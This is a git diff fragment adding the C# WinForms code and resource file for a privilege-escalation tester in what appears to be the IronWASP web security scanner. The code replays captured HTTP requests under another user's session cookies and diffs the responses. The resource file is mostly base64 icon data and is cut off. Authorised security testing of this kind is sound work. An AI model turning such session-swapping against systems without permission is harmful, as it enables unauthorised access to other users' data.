(!LoginRecording.IsLoggedIn()) + { + LoginRecording.DoLogin(); + if (!LoginRecording.IsLoggedIn()) + { + throw new Exception("Unable to login user!"); + } + ReqToTest.SetCookie(LoginRecording.Cookies); + } + } + else + { + if (SelectedSessionForTesting == "A") + { + ReqToTest.CookieString = FinalCookieStringOfSessionB; + } + else + { + ReqToTest.CookieString = FinalCookieStringOfSessionA; + } + + } + Response Res = ReqToTest.Send(); + + int DiffPercent = Tools.DiffLevel(Sess.Response.ToString(), Res.ToString()); + + AddTestResult(Sess.Request.ToBinaryString(), Sess.Response.ToBinaryString(), ReqToTest.ToBinaryString(), Res.ToBinaryString(), DiffPercent, Sess.Request, ReqToTest); + } + } + + delegate void ResultsEnd_d(); + void ResultsEnd() + { + if (ConfigurePanel.InvokeRequired) + { + ResultsEnd_d CALL_d = new ResultsEnd_d(ResultsEnd); + ConfigurePanel.Invoke(CALL_d, new object[] { }); + } + else + { + ResultsProgressBar.Visible = false; + } + } + + private void ResultsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + //ShowSelectedResultItem(); + //Leads to UI freezing as it interlocks with the _SelectionChanged event + } + + void ShowSelectedResultItem() + { + if (ResultsGrid.SelectedRows.Count > 0) + { + DataGridViewRow Row = ResultsGrid.SelectedRows[0]; + Request OriginalRequest = Request.FromBinaryString(Row.Cells["OriginalRequestBinaryStringClmn"].Value.ToString()); + Response OriginalResponse = Response.FromBinaryString(Row.Cells["OriginalResponseBinaryStringClmn"].Value.ToString()); + Request TestRequest = Request.FromBinaryString(Row.Cells["TestRequestBinaryStringClmn"].Value.ToString()); + Response TestResponse = Response.FromBinaryString(Row.Cells["TestResponseBinaryStringClmn"].Value.ToString()); + + string OriginalRequestString = OriginalRequest.ToString(); + string OriginalResponseString = OriginalResponse.ToString(); + string TestRequestString = TestRequest.ToString(); + string TestResponseString = TestResponse.ToString(); + + string[] OriginalVsTestRequestSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalRequestString, TestRequestString); + string[] OriginalVsTestResponseSidebySideResults = DiffWindow.DoSideBySideDiff(OriginalResponseString, TestResponseString); + + string OriginalVsTestRequestSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalRequestString, TestRequestString); + string OriginalVsTestResponseSinglePageResults = DiffWindow.DoSinglePageDiff(OriginalResponseString, TestResponseString); + + OriginalVsTestRequestDRV.ShowDiffResults(OriginalVsTestRequestSinglePageResults, OriginalVsTestRequestSidebySideResults[0], OriginalVsTestRequestSidebySideResults[1]); + OriginalVsTestResponseDRV.ShowDiffResults(OriginalVsTestResponseSinglePageResults, OriginalVsTestResponseSidebySideResults[0], OriginalVsTestResponseSidebySideResults[1]); + + OriginalRequestView.SetRequest(OriginalRequest); + OriginalResponseView.SetResponse(OriginalResponse, OriginalRequest); + TestRequestView.SetRequest(TestRequest); + TestResponseView.SetResponse(TestResponse, TestRequest); + } + } + + private void PrivillegeEscalationTester_FormClosing(object sender, FormClosingEventArgs e) + { + try + { + WorkerThread.Abort(); + } + catch { } + } + + private void HostnamesScopeTree_AfterCheck(object sender, TreeViewEventArgs e) + { + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + } + + private void HostnamesScopeTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + e.Cancel = true; + } + + int CurrentFilterTreeNodeLevel = -1; + private void FilterTree_AfterCheck(object sender, TreeViewEventArgs e) + { + if (e.Node.Level > CurrentFilterTreeNodeLevel) + { + CurrentFilterTreeNodeLevel = e.Node.Level; + } + foreach (TreeNode Node in e.Node.Nodes) + { + Node.Checked = e.Node.Checked; + } + if (e.Node.Level == CurrentFilterTreeNodeLevel) + { + UpdateCandidatesCheckBasedOnFilter(); + CurrentFilterTreeNodeLevel = -1; + } + } + + void UpdateCandidatesCheckBasedOnFilter() + { + List AllowedMethods = new List(); + Dictionary> AllowedUrls = new Dictionary>(); + List AllowedFileExts = new List(); + + if (FilterTree.Nodes.Count == 3) + { + foreach (TreeNode Node in FilterTree.Nodes[0].Nodes) + { + if (Node.Checked) + { + AllowedMethods.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[1].Nodes) + { + if (Node.Checked) + { + AllowedFileExts.Add(Node.Name); + } + } + + foreach (TreeNode Node in FilterTree.Nodes[2].Nodes) + { + if (Node.Checked) + { + AllowedUrls[Node.Name] = GetSelectedUrlPathsForNode(Node); + } + } + } + + foreach (DataGridViewRow Row in CandidatesGrid.Rows) + { + if (AllowedUrls.ContainsKey(Row.Cells["HostNameSelectClmn"].Value.ToString()) + && AllowedMethods.Contains(Row.Cells["MethodClmn"].Value.ToString()) + && (AllowedFileExts.Contains(Row.Cells["FileClmn"].Value.ToString()) || (Row.Cells["FileClmn"].Value.ToString().Length == 0 && AllowedFileExts.Contains(" - NO EXTENSION - ")))) + { + bool UrlMatchFound = false; + string Url = Row.Cells["URLClmn"].Value.ToString(); + string UrlWithQueryMarker = string.Format("{0}?", Url); + foreach (string UrlPath in AllowedUrls[Row.Cells["HostNameSelectClmn"].Value.ToString()]) + { + if (UrlPath.Equals(Url)) + { + UrlMatchFound = true; + break; + } + else if (Url.StartsWith(UrlPath) && Url.StartsWith(UrlWithQueryMarker)) + { + UrlMatchFound = true; + break; + } + } + if (UrlMatchFound) + { + if ((Row.DefaultCellStyle.BackColor == Color.Orange && SelectUserARB.Checked) || (Row.DefaultCellStyle.BackColor == Color.Green && SelectUserBRB.Checked)) + { + Row.Cells[0].Value = true; + } + } + else + { + Row.Cells[0].Value = false; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + List GetSelectedUrlPathsForNode(TreeNode Node) + { + List Result = new List(); + foreach (TreeNode ChildNode in Node.Nodes) + { + if (ChildNode.Checked) + { + Result.Add(ChildNode.Name); + } + Result.AddRange(GetSelectedUrlPathsForNode(ChildNode)); + } + return Result; + } + + private void FilterTree_BeforeCheck(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) e.Cancel = true; + if (e.Action != TreeViewAction.Unknown && !e.Node.Checked && e.Node.Level > 1) + { + TreeNode HostnameNode = GetHostnameNode(e.Node); + if (HostnameNode != null) + { + if (!HostnameNode.Checked) + { + e.Cancel = true; + MessageBox.Show("The hostname node is not checked, cannot select sections of the host without selecting the hostname."); + } + } + } + } + + private void FilterTree_BeforeCollapse(object sender, TreeViewCancelEventArgs e) + { + if (e.Node.Level == 0) + { + e.Cancel = true; + } + } + + TreeNode GetHostnameNode(TreeNode CurrentNode) + { + if (CurrentNode.Level == 1 && CurrentNode.Parent.Index == 2) + { + return CurrentNode; + } + else if (CurrentNode.Level > 1) + { + return GetHostnameNode(CurrentNode.Parent); + } + else + { + return null; + } + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (InResultsStage && e.TabPageIndex != 3) e.Cancel = true; + } + + private void SelectSessionsGrid_SelectionChanged(object sender, EventArgs e) + { + ShowSelectedCookieParameter(); + } + + long TimeWhenLogGridIndexWasLastChanged = 0; + private void CandidatesGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedLog(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ResultsGrid_SelectionChanged(object sender, EventArgs e) + { + if (DateTime.Now.TimeOfDay.TotalMilliseconds > TimeWhenLogGridIndexWasLastChanged + 200) + { + ShowSelectedResultItem(); + } + TimeWhenLogGridIndexWasLastChanged = (long)DateTime.Now.TimeOfDay.TotalMilliseconds; + } + + private void ShowDocLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Docs.DocForPrivilegeEscalationTester DF = new Docs.DocForPrivilegeEscalationTester(); + DF.Show(); + } + } +} diff --git a/Iron/Hawas/PrivillegeEscalationTester.resx b/Iron/Hawas/PrivillegeEscalationTester.resx new file mode 100644 index 0000000..29201c4 --- /dev/null +++ b/Iron/Hawas/PrivillegeEscalationTester.resx @@ -0,0 +1,1984 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxZLS0v0S0tL/0tLS/9LS0v/S0tL/0tLS93UxWxK3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/Sw2tRS0tL4EtLS/9LS0v/S0tL/0tLS/9LS0v0S0tLFgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLi0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLY93N + bsPdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93NbspMTEtoS0tL/0tLS/9LS0v/S0tL/0tL + S/9LS0uLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v0S0tL/0tLS/9LS0v/S0tL/0tL + S9/SxGtH3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/9LDa1FLS0vhS0tL/0tL + S/9LS0v/S0tL/0tLS/RLS0sWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLjEtLS/9LS0v/S0tL/0tL + S/9LS0v/S0tLZt3Nbr/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1uyUxM + S2lLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4wAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxdLS0v1S0tL/0tL + S/9LS0v/S0tL/0tLS+HQwmtE3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/0cJrUUtLS+JLS0v/S0tL/0tLS/9LS0v/S0tL9UtLSxcAAAAAAAAAAAAAAAAAAAAAS0tLjktL + S/9LS0v/S0tL/0tLS/9LS0v/S0tLaN3NbrvdzW7/3c1u/93Nbv/dzW7/3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7JTEtLaktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLjQAAAAAAAAAAAAAAAEtL + SxhLS0v1S0tL/0tLS/9LS0v8S0tLtEtLS09RUEwD3c1uRt3NbpLdzW7d3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7g3c1ult3NbkuEfVkFS0tLT0tLS7RLS0v8S0tL/0tLS/9LS0v1S0tLGAAA + AAAAAAAAS0tLj0tLS/9LS0vgS0tLfUtLSxwAAAAAAAAAAAAAAAAAAAAAAAAAAN3NbgDdzW4q3c1udt3N + bsHdzW773c1u+93NbsLdzW533c1uLN3NbgAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxxLS0t+S0tL4EtL + S/9LS0uOAAAAAEtLSxRLS0ujS0tLR0tLSwIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN3NbhLdzW4SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AABLS0sCS0tLSEtLS6NLS0sTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////5////+f////D////gf///4H///8A////AP///g + B///4Af//8AD///AA///gAH//4AB//8AAP//AAD//gAAf/4AAH/8AAA//AAAP/gAAB/4AAAf8AAAD/AA + AA/gAAAH4AAAB8AAAAPAAAADgAAAAYPwD8EP/n/w/////ygAAAAwAAAAYAAAAAEAIAAAAAAAACQAACMu + AAAjLgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTxDRl08QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPE9GXT3DRl09w0ZdPEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPidGXT3/Rl09/0ZdPiAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08Z0ZdP9dGXT3/Rl09/0ZdP9dGX + TxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+T0ZdP/9GX + T3/Rl09/0ZdP/9GXT5IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + Tx/Rl0/40ZdP/9GXT3/Rl09/0ZdP/9GXT/jRl08fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXT53Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0+cAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPJtGXT/vRl0//0ZdP/9GXT3/Rl09/0ZdP/9GXT//Rl0/70ZdPJgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPp9GXT//Rl0//0ZdP/9GXT3/Rl09/0ZdP/9GX + T//Rl0//0ZdPpwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08v0ZdP/dGXT//Rl0//0ZdP/9GX + T3/Rl09/0ZdP/9GXT//Rl0//0ZdP/dGXTy4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl0+x0ZdP/9GX + 